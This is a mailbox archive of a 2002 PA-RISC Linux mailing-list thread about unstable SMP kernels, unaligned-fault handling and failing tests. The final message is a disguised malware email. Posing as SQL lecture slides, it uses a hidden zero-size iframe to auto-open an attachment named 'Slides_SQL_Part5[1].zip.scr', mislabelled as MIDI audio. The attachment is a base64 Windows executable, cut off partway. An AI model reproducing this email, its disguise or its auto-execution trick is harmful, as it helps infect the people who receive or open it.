> 
> Thanks,
> 
> Steve

Nothing up this sleeve, nothing up this sleeve...
<carlos pulls a stable smp kernel out of his hat>

Tada! ;)

I'm not quite certain that we ever had a stable
SMP kernel. While an older kernel might seem to 
give you SMP stability, it does so at the cost of 
speed and the introduction of old bugs.

If you can find some test cases for Non-SMP vs.
SMP stability, then we'll be a step in the right 
direction.

c.



From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 13:02:59 -0700 (PDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com>
References: <20020920194820.GC24622@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621741 14249 80.91.229.3 (22 Nov 2014 02:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:21 +0000 (UTC)
Cc: Istvan Gyenes <frts@simba.sch.bme.hu>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:03:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D533D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:03:01 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 946F57BC45; Fri, 20 Sep 2002 13:02:59 -0700 (PDT)
In-Reply-To: <20020920194820.GC24622@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16204

On Fri, 20 Sep 2002, Carlos O'Donell wrote:

> > Thanks I'll try that!
> > 
> > Another question: If 2.4.19 SMP not enough stable where can I find the
> > latest stable smp kernel source?
> > 
> > Thanks,
> > 
> > Steve
> 
> Nothing up this sleeve, nothing up this sleeve...
> <carlos pulls a stable smp kernel out of his hat>
> 
> Tada! ;)
> 
> I'm not quite certain that we ever had a stable
> SMP kernel. While an older kernel might seem to 
> give you SMP stability, it does so at the cost of 
> speed and the introduction of old bugs.

For me, the last kernel that didn't crash on my J5000 in smp mode while
doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb

I wouldn't recommend using it, however...
> 
> If you can find some test cases for Non-SMP vs.
> SMP stability, then we'll be a step in the right 
> direction.
> 
> c.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
Mason's First Law of Synergism:
	The one day you'd sell your soul for something, souls are a glut.



From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: 20 Sep 2002 14:37:40 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <87hegkv1m3.fsf@rover.gag.com>
References: <20020920194820.GC24622@systemhalted>
	<Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621742 14253 80.91.229.3 (22 Nov 2014 02:02:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:38:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BC054829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:38:23 -0600 (MDT)
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 8D06BC055
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:38:20 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 4308343ECB; Fri, 20 Sep 2002 14:37:40 -0600 (MDT)
In-Reply-To: <Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com>
Original-Lines: 10
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16205

jeremyd@apptechsys.com (Jeremy Drake) writes:

> For me, the last kernel that didn't crash on my J5000 in smp mode while
> doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb

I've had good luck with the 2.4.19 kernel images I've uploaded to unstable,
which are built and running on my J5000 in 64-bit SMP mode.  I don't promise
they're "stable", but the apt-get update problem is gone.

Bdale


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:37:24 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20020920203724.GD24622@systemhalted>
References: <20020920194820.GC24622@systemhalted> <Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621742 14255 80.91.229.3 (22 Nov 2014 02:02:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:22 +0000 (UTC)
Cc: Istvan Gyenes <frts@simba.sch.bme.hu>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:38:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE4904829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:38:26 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17sUWj-0006hJ-00; Fri, 20 Sep 2002 16:37:25 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Jeremy Drake <jeremyd@apptechsys.com>,
	Istvan Gyenes <frts@simba.sch.bme.hu>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (38% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16206

> 
> For me, the last kernel that didn't crash on my J5000 in smp mode while
> doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb
> 
> I wouldn't recommend using it, however...

If I _wasn't_ using my A500 for contiual binutils/glibc/gcc 
builds, I'd be testing out the SMP problems :)

When running an SMP kernel and doing multiple compiles, the 
box was rather unsuable e.g. random process death.

As Randolph noted to me on IRC, it looks like fixing the mmap
issues we have would be a step in the right direction. When I
get my current projects completed (glibc fixing)... I want to
look at this :) then again, maybe I'll be doing glibc work for
the rest of my usefull days ;)

We also fail many of the LTP tests having to do with
signals, mmap'ing, and direct IO.

c.



From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:46:16 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca>
References: <20020920203724.GD24622@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621742 14258 80.91.229.3 (22 Nov 2014 02:02:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:22 +0000 (UTC)
Cc: jeremyd@apptechsys.com, frts@simba.sch.bme.hu,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:46:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D5CE4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:46:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8KKkH00019922;
	Fri, 20 Sep 2002 16:46:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8KKkGwj019921;
	Fri, 20 Sep 2002 16:46:16 -0400 (EDT)
In-Reply-To: <20020920203724.GD24622@systemhalted> from "Carlos O'Donell" at Sep 20, 2002 04:37:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16207

> When running an SMP kernel and doing multiple compiles, the 
> box was rather unsuable e.g. random process death.

Is there a way to turn off the unaligned handler?  It may be hiding
bad stuff going on in userland.  There are still cases where expect
causes a continuous sequence of unaligned faults.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 13:50:12 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020920205012.GF4909@tausq.org>
References: <20020920203724.GD24622@systemhalted> <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621743 14262 80.91.229.3 (22 Nov 2014 02:02:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:23 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>, jeremyd@apptechsys.com,
	frts@simba.sch.bme.hu, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:50:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4E634829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:50:07 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A6C64CD83C; Fri, 20 Sep 2002 13:50:12 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16208

> Is there a way to turn off the unaligned handler?  It may be hiding
> bad stuff going on in userland.  There are still cases where expect
> causes a continuous sequence of unaligned faults.

not at runtime, but i can build a kernel with this turned off and let
you test it.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:52:21 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20020920205221.GA25844@systemhalted>
References: <20020920194820.GC24622@systemhalted> <Pine.LNX.4.44.0209201301220.20374-100000@garibaldi.apptechsys.com> <87hegkv1m3.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621743 14264 80.91.229.3 (22 Nov 2014 02:02:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:52:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F3384829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:52:24 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17sUlC-0006lT-00; Fri, 20 Sep 2002 16:52:22 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Bdale Garbee <bdale@gag.com>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <87hegkv1m3.fsf@rover.gag.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (24% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16209

> 
> > For me, the last kernel that didn't crash on my J5000 in smp mode while
> > doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb
> 
> I've had good luck with the 2.4.19 kernel images I've uploaded to unstable,
> which are built and running on my J5000 in 64-bit SMP mode.  I don't promise
> they're "stable", but the apt-get update problem is gone.

What type of workloads do you have that machine doing?

c.
 


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:55:18 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20020920205518.GB25844@systemhalted>
References: <20020920203724.GD24622@systemhalted> <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca> <20020920205012.GF4909@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621743 14271 80.91.229.3 (22 Nov 2014 02:02:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:55:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 213EB4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:55:22 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17sUo2-0006mG-00; Fri, 20 Sep 2002 16:55:18 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020920205012.GF4909@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16210

> > Is there a way to turn off the unaligned handler?  It may be hiding
> > bad stuff going on in userland.  There are still cases where expect
> > causes a continuous sequence of unaligned faults.
> 
> not at runtime, but i can build a kernel with this turned off and let
> you test it.
> 
> randolph

Would be nice to have a proc interface for this.
I would like to do consecutive testing with it 
enabled and disabled.

c.



From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: anis14 <anis14@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Slides_SQL_Part5[1]
Date: Fri,20 Sep 2002 16:55:43 PM
Lines: 540
Approved: news@gmane.org
Message-ID: <20020920205556.325F54829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=hvgmmdq
X-Trace: ger.gmane.org 1416621744 14274 80.91.229.3 (22 Nov 2014 02:02:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:55:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (d57-34-163.home.cgocable.net [24.57.34.163])
	by dsl2.external.hp.com (Postfix) with SMTP id 325F54829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:55:56 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16211

--hvgmmdq
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:ddkp height=3D0 width=3D0>
</iframe>
<FONT></FONT>
25\li585\qj\par \pard\pntext\f1\B7\tab\\pn\pnlvlblt\pnf1\pnindent\pntxtb\B7\nowidctlpar\s2\fi27\li27\qj Common for subqueries following NOT EXISTS to be of form\par \pard\nowidctlpar\s3\fi225\li585\qj\par \tab\tab SELECT  \fs25\par \pard\nowidctlpar\s1\qj\fs29\par Example 531  Query using EXISTS\<BR>.<BR>.<BR>See the attachement<BR></BODY></HTML>

--hvgmmdq
Content-Type: audio/x-midi;
	name=Slides_SQL_Part5[1].zip.scr
Content-Transfer-Encoding: base64
Content-ID: <ddkp>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABXZioCEwdEURMHRFETB0RRkBtKUR4HRFH7GE5RCQdEURMHRFEQB0RRcRhX
UR4HRFETB0VRkAdEUfsYT1EWB0RRqwFCURIHRFFSaWNoEwdEUQAAAAAAAABVUEUAAEwBAwC+0QI9
AAAAAAAAAADgAA8BCwEGAABgAAAAEAAAAOAAAABLAQAA8AAAAFABAAAAQAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAYVwEApAEAAABQAQAYBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAuLi4wAAAAAADgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgLi4uMQAAAAAA
YAAAAPAAAABeAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAABQAQAACgAAAGIAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAkLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
